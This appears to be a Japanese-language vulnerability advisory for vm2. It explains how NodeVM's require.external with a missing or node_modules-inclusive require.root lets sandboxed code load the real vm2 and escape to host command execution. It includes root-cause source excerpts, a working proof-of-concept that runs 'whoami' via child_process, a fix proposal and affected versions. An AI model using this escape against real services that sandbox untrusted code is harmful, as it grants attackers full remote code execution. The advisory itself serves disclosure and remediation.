vm2: NodeVMの`require.external`オプションにおいて、明示的に`require.root`が設定されていない場合、ホストファイルシステムへの制限のないアクセスと、完全なリモートコード実行(RCE)が可能になる。

## 概要

`NodeVM`の`require.external`オプションを使用すると、サンドボックス化されたコードがローカルファイルやnpmパッケージを`require()`することができます。`require.external`が有効になっており、`require.root`が**明示的に`node_modules`を除外するパスに設定されていない**場合、以下の2つのデフォルト設定が組み合わさり、サンドボックスを完全に無効にしてしまいます。

- `require.root`はデフォルトで**制限なし** — 「省略された場合、すべてのパスが許可されます」。
- `require.context`はデフォルトで**`"host"`** — このようにロードされたファイルは、vm2のサンドボックス内ではなく、**実際のNode.jsの`require()`**で実行されます。

したがって、サンドボックス化されたコードは、vm2自体のインストールされているパッケージ(`node_modules/vm2`)への相対パスまたは絶対パスを`require()`し、実際の、ラップされていない`NodeVM`/`VM`クラスを取得し、完全に**制限のない**新しいネストされた`NodeVM`インスタンスを構築し、`child_process`を介して、ホストOSの任意のコマンドを実行することができます。

これは、vm2の公式ドキュメントにある「クイックサンプル」の設定を使用して悪用可能です。

```js
const vm = new NodeVM({
require: {
external: true,
root: './',
},
});
```

`root: './'`は、セキュリティ上の制限として解釈されますが、通常のnpmプロジェクトの構成では、`./node_modules/vm2`が同じディレクトリツリー内に存在するため、この制限はvm2自体を除外しません。READMEのクイックスタートガイドに従って構築されたアプリケーションは、デフォルトでこの問題の影響を受けます。

## 影響を受けるバージョン

`lib/resolver-compat.js`の`makeResolverFromLegacyOptions`が、このレポート以前のバージョンであるすべてのvm2のバージョンが影響を受けます。現在、`main`ブランチ(3.11.5以降、GHSA-8hg8-63c5-gwmx / カテゴリ25およびGHSA-cp6g-6699-wx9c / カテゴリ24に含まれるすべての修正を含む)で確認されています。これらの以前の修正のいずれも、このコードパスをカバーしていません(詳細については、根本原因を参照してください)。

## 詳細 / 根本原因

`lib/resolver-compat.js`:

```js
const {
builtin: builtinOpt,
mock: mockOpt,
external: externalOpt,
root: rootPaths,
resolve: customResolver,
customRequire: hostRequire = defaultRequire,
context = 'host', // <-- デフォルトは 'host'
strict = true,
fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
// root は、組み込み側が明示的に指定した場合にのみ、正規化/検証されます。
...
}
```

そして、`CustomResolver.isPathAllowed`:

```js
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true; // <-- root が省略されている場合は、制限なし
...
}
```

そして、`CustomResolver.loadJS`:

```js
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename); // <-- context が 'host' (デフォルト) の場合、実際の host require() を使用
mod.exports = vm.readonly(m);
}
```

`CustomResolver` (常に `require.external` が単純な `true` の場合に使用されるリゾルバー、つまり、スコープ付きの配列/オブジェクトではない場合) は、**外部モジュール名の許可リストを一切持っていません**。 これは、`isPathAllowed` によってのみ制御され、`root` が設定されていない場合は、`isPathAllowed` は何もしません。 さらに、`context` がデフォルトで `'host'` に設定されているため、サンドボックス化されたコードで記述された、絶対パスまたはルート相対パスを持つファイルは、実際の、サンドボックス化されていない Node.js の `require()` を使用してロードされ、*実行*されます。

**これは、すでに修正された 2 つのアドバイザリーとは異なるコードパスであり、同様の結果をもたらします。**

- **カテゴリ24 / GHSA-cp6g-6699-wx9c** (`require.root` シンボリックリンク回避) は、`root` が設定されていることを前提としており、`path.resolve()` とネイティブローダーのシンボリックリンク追跡機能の間のタイミングの問題(TOCTOU)を利用して、シンボリックリンクの境界を攻撃します。`git log -- lib/resolver-compat.js` を確認すると、その修正(`realpath` による正規化)がそのファイルに存在する唯一の履歴であることがわかります。`nesting` の修正はこれに影響を与えておらず、`root` がそもそも設定されていない場合、修正は何も行いません。なぜなら、シンボリックリンクを介して攻撃できる境界が存在しないからです。
- **カテゴリ25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` 回避) は、全く異なる仕組みを回避します。これは、コンストラクタ時に `nesting` オプションを確認する `vm2` の組み込み機能であり、`NESTING_OVERRIDE` が注入されています。しかし、このパスでは、そのチェックは一切参照されません。`nesting: false` (デフォルト) であり、危険な `require.builtin` エントリがない場合でも、`require.external: true` だけでも、完全に脆弱性が残ります。

以前の脆弱性対策を正しく行った環境でも、この脆弱性によって攻撃を受ける可能性があります。

**ドキュメントによる説明だけでは、これを「想定される動作」として緩和することはできません。** `require.external` の JSDoc には、インライン警告 ("`root` を設定して、スクリプトがどのモジュールも読み込まないように制限する必要があります") が記載されていますが、これはデフォルトの状態を説明したものであり、危険であると明示的に示されたものではありません。これは、`nesting: true` の太字で強調された **警告**、専用の README セクション、そして「ホストモジュールへの制限のないアクセスを許可する」という明示的な記述よりも、効果が弱いです。これらの記述はすべて存在し、それでも `nesting` の脆弱性が報告されました(2回:GHSA-8hg8-63c5-gwmx、その後、GHSA-m4wx-m65x-ghrr によってさらに強化されました)。`README.md` に最初に表示される「簡単な例」では、`root: './'` が設定されており、これは安全な選択肢として解釈されますが、「どのパスも許可されている」ということを示唆するものではありません。

## 概念実証

添付ファイルの `poc.js` を参照してください。これは、通常のプロジェクト構成(`node_modules/vm2` が実際にインストールされている場所に `poc.js` が配置されている)で、**vm2 の公式ドキュメントにある「クイックサンプル」の設定**を使用して再現されます。シンボリックリンクは使用せず、ネスト構造はなく、危険な `require.builtin` エントリも含まれておらず、vm2 のソースコードも変更されていません。

```js
const path = require('path');
const { NodeVM } = require('vm2');

const vm = new NodeVM({
require: { external: true, root: './' }, // README の「クイックサンプル」からの引用
});

let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;

const result = vm.run(`
const real = require(${JSON.stringify(vm2EntryPoint)});
const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // 実際のホストユーザー名、例: "Abisheik M"
```

**テスト環境での実際の出力:**
```
{ whoami: 'Abisheik M', platform: 'win32' }
```

`Abisheik M` は、Node.js プロセスを実行している実際の OS アカウントです。これは、サンドボックス環境で生成されたものではありません。

## 影響

vm2 の公式ドキュメントにある「クイックサンプル」のパターン(または、`require.external` が有効になっており、`require.root` が `node_modules` を含むパスに設定されている、または完全に省略されている設定)に従っているアプリケーションでは、サンドボックス化された/信頼されていないコードが以下の操作を実行できます。

- `child_process` を使用して、任意の OS コマンドを実行(完全なリモートコード実行)。
- `fs` を使用して、任意のファイルの読み書き(再インスタンス化された制限のない `NodeVM` の内部)。
- 埋め込みアプリケーションが *外側の* `NodeVM` に設定した、他のすべてのサンドボックス制限を完全に回避できます。サンドボックスが制限のない内部インスタンスを取得すると、外側の許可リストは無効になります。

## 推奨される修正方法

`nesting`(カテゴリ25)や`require.root`(カテゴリ24)で既に確立された原則を参考にし、**安全でない組み合わせに静かにデフォルト設定されるのではなく、コンパイル時にエラーを明確に発生させるようにする。**

`lib/resolver-compat.js`の`makeResolverFromLegacyOptions`関数において、`externalOpt`が真(単純な`true`、または特定のモジュール名に限定されていないオブジェクト/配列)であり、かつ`rootPaths`が未定義の場合、`new NodeVM(...)`のコンストラクション時に`VMError`を発生させる。これは、カテゴリ24の修正で既に導入された、"rootが設定されているが、ファイルシステムアダプタがrealpathを実行できない"場合の`checkedRootPaths`の事前チェックブロックを拡張したものであり、"rootが全く設定されていない"場合にも対応する。これにより、組み込み開発者は、制限のないデフォルト設定を継承するのではなく、明示的かつ情報に基づいた選択を強制される。これは、カテゴリ25の修正が`nesting: true`の場合に、明示的なデフォルト以外の`require`オブジェクトを使用することを強制するのと同様の考え方である。

さらに、`README.md`の「クイックサンプル」のコード例を更新し、同じディレクトリにある`node_modules`からのインストールに対して静かに脆弱になるような`root`の値が表示されないようにする(例えば、プロジェクトのルートディレクトリ以下に限定するか、`root`には`node_modules`を含めてはならないという明示的な注意書きを追加する)。

影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響あり(バージョン3.11.6以下)、修正済み(バージョン3.11.7)